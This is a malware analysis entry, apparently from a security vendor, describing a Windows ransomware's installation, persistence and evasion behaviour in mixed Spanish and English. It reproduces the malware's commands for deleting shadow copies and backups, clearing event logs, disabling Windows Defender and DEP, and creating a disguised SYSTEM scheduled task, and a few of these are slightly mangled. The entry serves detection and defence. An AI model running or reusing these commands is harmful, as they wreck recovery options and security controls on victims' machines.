Ransom.Win32.CELANCYC.SMYXDJA

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• {Malware Path}\toat.dll → text file containing logs of the ransomware
  

Infiltra y ejecuta los archivos siguientes:

• %ProgramData%\tkec.exe → if the parameter "-power {restart | shutdown}" is used
  • It adds the following mutexes to ensure that only one of its copies runs at any one time:
    • Global/FSWiper
  • It drops the following files after encryption:
  • {Drive Letter}:\0F3LWP.tmp
  • Its size increases by 524,288 bytes continuously by padding.
  • If the drive has no enough free space left, it deletes the file afterwards.
  • It accepts the following parameters:
    • /RESTART → enables restarting the system
    • /SHUTDOWN → enables turning off the system
  • It adds the following processes:
  • cmd.exe /c ping 127.0.0.1 -n 5 > nul & del "%ProgramData%\tkec.exe" → deletes itself after approximately 5 seconds if no parameter is used
  • cmd.exe /c ping 127.0.0.1 -n 5 > nul & del "%ProgramData%\tkec.exe" & shutdown /r /t 0 → deletes itself and restarts the system after approximately 5 seconds if /RESTART parameter is used
  • cmd.exe /c ping 127.0.0.1 -n 5 > nul & del "%ProgramData%\tkec.exe" & shutdown /s /t 0 → deletes itself and turns off the system after approximately 5 seconds if /SHUTDOWN parameter is used

Agrega los procesos siguientes:

• "%System%\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update BETA" /TR "'{Malware Path}\{Malware Filename}' {Parameters | Empty}" /F → creates a scheduled task for persistence and if the parameter "path {Path}" is not used
• "%System%\cmd.exe" /c rd /s /q P:\$RECYCLE.BIN,Q:\$RECYCLE.BIN,R:\$RECYCLE.BIN,S:\$RECYCLE.BIN,T:\$RECYCLE.BIN,U:\$RECYCLE.BIN,V:\$RECYCLE.BIN,W:\$RECYCLE.BIN,X:\$RECYCLE.BIN,F:\$RECYCLE.BIN,G:\$RECYCLE.BIN,K:\$RECYCLE.BIN,L:\$RECYCLE.BIN,M:\$RECYCLE.BIN,N:\$RECYCLE.BIN,O:\$RECYCLE.BIN,Y:\$RECYCLE.BIN,Z:\$RECYCLE.BIN,A:\$RECYCLE.BIN,B:\$RECYCLE.BIN,C:\$RECYCLE.BIN,D:\$RECYCLE.BIN,E:\$RECYCLE.BIN,H:\$RECYCLE.BIN,I:\$RECYCLE.BIN,J:\$RECYCLE.BIN → empties Recycle Bin in drives A: - Z: when running on Windows Vista or newer versions
• "%System%\cmd.exe" /c rd /s /q P:\Recycler,Q:\Recycler,R:\Recycler,S:\Recycler,T:\Recycler,U:\Recycler,V:\Recycler,W:\Recycler,X:\Recycler,F:\Recycler,G:\Recycler,K:\Recycler,L:\Recycler,M:\Recycler,N:\Recycler,O:\Recycler,Y:\Recycler,Z:\Recycler,A:\Recycler,B:\Recycler,C:\Recycler,D:\Recycler,E:\Recycler,H:\Recycler,I:\Recycler,J:\Recycler → empties Recycle Bin in drives A: - Z: when running on Windows XP or older versions
• powershell -inputformat none -outputformat none -NonInteractive -Command Remove -Item 'd:\$RECYCLE.BIN','c:\$RECYCLE.BIN' -Recurse -Force → empties Recycle Bin in drives C: and D: when running on Windows Vista or newer versions
• "%System%\cmd.exe" /c FOR / F "delims=" %I IN ('WEVTUTIL EL') DO (WEVTUTIL CL "%I") → clears all event logs
• "%System%\cmd.exe" /c vssadmin.exe delete shadows /all /quiet&&wbadmin delete catalog -quiet && bcdedit.exe /set {current} nx AlwaysOff && wmic SHADOWCOPY DELETE → deletes all shadow copies and backup catalog, and disables Data Execution Prevention (DEP) security feature
• "%System%\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%s" → adds an exclusion path to the preferences of Windows Defender
• "%System%\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Remove-WindowsFeature Windows-Defender&&powershell -inputformat none -outputformat none -NonInteractive -Command Windows-Defender-GUI&&powershell -inputformat none -outputformat none -NonInteractive -Command New-ItemProperty -Path "HKLM:SOFTWAREPoliciesMicrosoftWindows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force → attempts to remove Windows Defender feature and disables Windows Defender anti-spyware functionality through registry modification
• "%System%\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Get-Service WinDefend | Stop-Service -PassThru | Set-Service -StartupType Disabled&&powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true → disables Windows Defender service and Windows Defender real-time monitoring
• "%System%\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Update BETA" /F → deletes the created scheduled task named Windows Update BETA after encryption
• "%System%\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "{Malware Path}\{Malware Filename}" → deletes itself after approximately 5 seconds if the parameter "-nodel" is not used
• "%System%\cmd.exe" /c "%ProgramData%\tkec.exe" /RESTART → if the parameter "-power restart" is used
• "%System%\cmd.exe" /c "%ProgramData%\tkec.exe" /SHUTDOWN → if the parameter "-power shutdown" is used

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

• Global\TisakMutex

Otros detalles

Hace lo siguiente:

• It enables the following privileges to allow access to restricted actions in the system:
  • SeDebugPrivilege
  • SeRestorePrivilege
  • SeBackupPrivilege
  • SeTakeOwnershipPrivilege
  • SeAuditPrivilege
  • SeSecurityPrivilege
  • SeIncreaseBasePriorityPrivilege
• It empties the Recycle Bin of all drives.
• It terminates the running process of a file and its related files before encrypting it.
• It avoids terminating the following processes if found running in the affected system's memory:
  • nativeproxy
  • googledrivesync
  • AnyDesk
  • TeamViewer
  • Yandex
  • googledrive
  • OneDrive
  • DropBox
  • GoogleDriveFS
  • YandexDisk2
  • Kerio
  • VPN Client
  • Radmin